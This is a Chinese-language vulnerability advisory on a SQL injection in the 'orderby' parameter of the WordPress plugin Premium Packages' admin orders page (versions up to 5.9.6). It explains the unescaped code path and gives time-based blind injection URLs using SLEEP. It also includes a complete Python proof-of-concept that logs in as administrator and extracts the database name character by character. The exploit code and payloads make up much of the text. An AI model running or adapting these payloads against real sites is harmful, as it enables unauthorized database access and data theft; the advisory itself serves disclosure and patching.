WordPress 插件
组件名称 Premium Packages – Sell Digital Products Securely
受影响版本 <= 5.9.6
组件标识 wpdm-premium-packages
组件链接 https://wordpress.org/plugins/wpdm-premium-packages/
漏洞类别 A3:注入
漏洞类型 SQL 注入
管理员
Premium Packages – Sell Digital Products Securely 插件(以下简称 Premium Packages 插件)5.9.6 及以下版本中存在 SQL 注入漏洞。该漏洞是由于在插件后台订单菜单(/wp-admin/edit.php?post_type=wpdmpro&page=orders)查看订单列表时,对 URL 参数 orderby 的转义不足导致的。
因此,拥有管理员权限的攻击者可以利用此漏洞访问目标站点数据库中的所有信息。
此外,虽然此 SQL 注入漏洞无法直接从响应数据中提取信息,但可以利用基于时间的盲 SQL 注入技术(通过 SQL 查询中真/假条件导致的响应时间差异)来提取信息。
以管理员身份登录已安装并激活 Premium Packages 插件的 WordPress 站点。
由于 Premium Packages 插件是 Download Manager 插件(https://wordpress.org/plugins/download-manager/)的附加组件,因此也必须安装并激活 Download Manager 插件。
访问以下 URL 后,SQL 查询条件(1=1)始终为真,由于 SLEEP(5) 函数,页面会在 5 秒后显示。
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2)始终为假,页面会立即显示。http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

在请求 Premium Packages 插件的订单列表仪表板时,会执行文件 /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php。
此时,URL 参数 orderby 的值未经适当转义便赋值给变量 $orderby。随后,变量 $orderby 被传递给变量 $qry,并完成 SQL 查询中的排序子句。

然后,变量 $qry 作为参数传递给函数 totalOrders 和 GetAllOrders。
这些函数定义在文件 /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php 中,接收的参数值直接用于数据库查询。

因此,由于 URL 参数 orderby 的值未经转义直接用于数据库查询,导致了 SQL 注入漏洞。

然后输入以下命令运行 PoC 代码。
所需模块requests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()